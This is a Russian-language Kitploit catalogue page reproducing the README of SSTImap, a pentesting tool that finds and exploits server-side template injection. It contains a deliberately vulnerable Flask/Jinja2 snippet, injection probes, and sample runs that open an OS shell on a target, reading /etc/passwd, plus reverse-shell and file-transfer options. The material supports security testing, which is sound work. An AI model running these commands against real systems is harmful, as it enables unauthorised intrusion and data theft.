Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SSTImap — Автоматический инструмент обнаружения SSTI с интерактивным интерфейсом | Kitploit
Инструменты/GitHubGitHub/vladko312/sstimap
Сканеры уязвимостейГенерация полезной нагрузкиАнализ КодаДинамический анализ кода (DAST)ЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеКомандование и Управление
GitHubvladko312/sstimap

SSTImap

Автоматический инструмент обнаружения SSTI с интерактивным интерфейсом

1.6k1773 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

SSTImap

Version 1.3 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Этот проект основан на Tplmap.

SSTImap — это программное обеспечение для тестирования на проникновение, которое может проверять веб-сайты на наличие уязвимостей внедрения кода и Server-Side Template Injection, а также эксплуатировать их, предоставляя доступ к самой операционной системе.

Этот инструмент был разработан для использования в качестве интерактивного инструмента тестирования на проникновение для обнаружения и эксплуатации SSTI, что позволяет проводить более продвинутую эксплуатацию. Дополнительные полезные нагрузки для SSTImap можно найти здесь.

Полезные нагрузки и техники взяты из:

  • Исследования Джеймса Кеттла Server-Side Template Injection: RCE For The Modern Web App
  • Других публичных исследований [1] [2] [8]
  • Вкладов в Tplmap [3] [4]
  • Моих собственных исследований [9]

Этот инструмент способен эксплуатировать некоторые обходы контекста кода и сценарии слепого внедрения. Он также поддерживает инъекции, подобные eval(), в Java, JavaScript, PHP, Python, Ruby и общих шаблонизаторах без песочницы.

Ключевые отличия от Tplmap

Хотя это программное обеспечение основано на коде Tplmap, обратная совместимость не обеспечивается.

  • Добавлены две новые техники для обнаружения и эксплуатации SSTI
  • Интерактивный режим (-i), упрощающий эксплуатацию и обнаружение
  • Простые оценочные полезные нагрузки в качестве маркеров ответа в случае отражения полезной нагрузки
  • Добавлены новые полезные нагрузки для общих шаблонов, для проверки всех контекстов используйте --generic
  • Обнаружение общих инъекций в шаблоны с оценкой с помощью модуля Eval_generic
  • Выполнение eval()-подобной оболочки (-x) или одиночной команды (-X) на базовом языке
  • Слепая загрузка файлов теперь поддерживает проверку MD5 и проверку существования файла
  • Добавлены новые полезные нагрузки для большего количества шаблонов и обновлены многие существующие
  • Модульная структура плагинов, позволяющая установку дополнительных плагинов
  • Поддержка различных типов данных POST
  • Добавлены обход страниц (crawling) и обнаружение форм
  • Добавлены краткие версии многих аргументов
  • Некоторые старые аргументы командной строки были изменены, смотрите -h для справки
  • Код изменён для использования новых возможностей Python
  • Расширение для Burp Suite временно удалено, так как Jython не поддерживает Python3

Server-Side Template Injection

Это пример простого веб-сайта, написанного на Python с использованием фреймворка Flask и шаблонизатора Jinja2. Он интегрирует введённую пользователем переменную name небезопасным способом, так как она конкатенируется в строку шаблона перед рендерингом.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI УЯЗВИМОСТЬ:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Такой способ использования шаблонов не только создаёт XSS-уязвимость, но и позволяет атакующему внедрить код шаблона, который будет выполнен на сервере, что приводит к SSTI.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

Вводимые пользователем данные должны передаваться безопасным способом через контекст рендеринга:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Предопределённый режим

SSTImap в предопределённом режиме очень похож на Tplmap. Он способен обнаруживать и эксплуатировать SSTI-уязвимости во множестве различных шаблонов.

После эксплуатации SSTImap может предоставить доступ к оценке кода, выполнению команд ОС и манипуляции файловой системой.

Для проверки URL используйте аргумент -u:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Используйте опцию --os-shell, чтобы запустить псевдо-терминал на цели.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Чтобы получить полный список опций, используйте аргумент --help.

Интерактивный режим

В интерактивном режиме для взаимодействия с SSTImap используются команды. Чтобы войти в интерактивный режим, используйте аргумент -i. Все остальные аргументы, кроме тех, что касаются полезных нагрузок эксплуатации, будут использоваться как начальные значения настроек.

Некоторые команды используются для изменения настроек между запусками тестов. Для запуска теста целевой URL должен быть предоставлен через начальный аргумент -u или команду url. После этого можно использовать команду run для проверки URL на SSTI.

Если SSTI найдена, можно использовать команды для начала эксплуатации. Вы получите те же возможности эксплуатации, что и в предопределённом режиме, но можете прервать их с помощью Ctrl+C без остановки программы.

Кстати, результаты тестов действительны до тех пор, пока не изменён целевой URL, поэтому вы можете легко переключаться между методами эксплуатации без повторного запуска теста обнаружения каждый раз.

Чтобы получить полный список интерактивных команд, используйте команду help в интерактивном режиме.

Поддерживаемые шаблонизаторы

SSTImap поддерживает множество шаблонизаторов и инъекции, подобные eval().

Новые полезные нагрузки приветствуются в PR. Ознакомьтесь с советами для ускорения разработки.

Техники: (R)endered, (E)rror-based, (B)oolean error-based blind и (T)ime-based blind; Строчная буква обозначает частично поддерживаемую технику

Больше плагинов и полезных нагрузок можно найти в репозитории SSTImap Extra Plugins.

Плагин для Burp Suite

В настоящее время Burp Suite работает только с Jython как способ выполнения python2. Функциональность Python3 не предоставляется.

Планы на будущее

Если вы планируете внести что-то крупное из этого списка, сообщите мне, чтобы избежать одновременной работы над одним и тем же с другими участниками.

  • Добавить больше полезных нагрузок для различных движков
  • Сделать плагины менее зависимыми от базовых плагинов
  • Разбор сырого HTTP-запроса из файла
  • Функциональность дампа переменных
  • Извлечение значений по сторонним каналам/side-channel
  • Улучшить документацию (или хотя бы сделать какую-нибудь документацию)
  • Сокращённые аргументы как интерактивные команды?
  • API режимы JSONL/plaintext для интеграции со скриптами?
  • Лучшая интеграция для Python-скриптов
  • Поддержка типа данных multipart POST
  • Модули для более настраиваемых запросов (второго порядка, сброс, не-HTTP)
  • Скрипты обработки полезных нагрузок
  • Улучшить функциональность конфигурации
  • Сохранение найденных уязвимостей
  • Отчёты в HTML или другом формате
Скачать инструмент
EngineRCETechLanguageType
Freemarker✓REBTJavaDefault
Java generic EL injections✓REBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
Velocity✓REBTJavaDefault
Nunjucks✓REBTJavaScriptDefault
Velocity.js✓REBTJavaScriptDefault
JavaScript (code eval)✓REBTJavaScriptDefault
JavaScript-based generic templates✓REBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
PHP (code eval)✓REBTPHPDefault
PHP-based generic templates✓REBTPHPDefault
Jinja2✓REBTPythonDefault
Python (code eval)✓REBTPythonDefault
Python-based generic templates✓REBTPythonDefault
ERB✓REBTRubyDefault
Slim✓REBTRubyDefault
Ruby (code eval)✓REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)✓REBTJavaGeneric
doT✓REBTJavaScriptGeneric
EJS✓REBTJavaScriptGeneric
Marko✓REBTJavaScriptGeneric
Pug✓REBTJavaScriptGeneric
Smarty✓REBTPHPGeneric
Cheetah✓REBTPythonGeneric
Mako✓REBTPythonGeneric
Tornado✓REBTPythonGeneric
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19)✓REBTPHPLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
  • Многострочная оценка языка?
  • Избегать зависимости от платформы в полезных нагрузках
  • Тестировать несколько оболочек в сценариях RCE на основе exec
  • Обновить полезные нагрузки NodeJS, так как process.mainModule может быть undefined
  • Автоматизация паука/краулера (от fantesykikachu)
  • Автоматический импорт языков и движков
  • Поддержка большего количества типов данных POST
  • Сделать функциональность оценки шаблона и базового языка более унифицированной
  • Аргумент для удаления escape-кодов?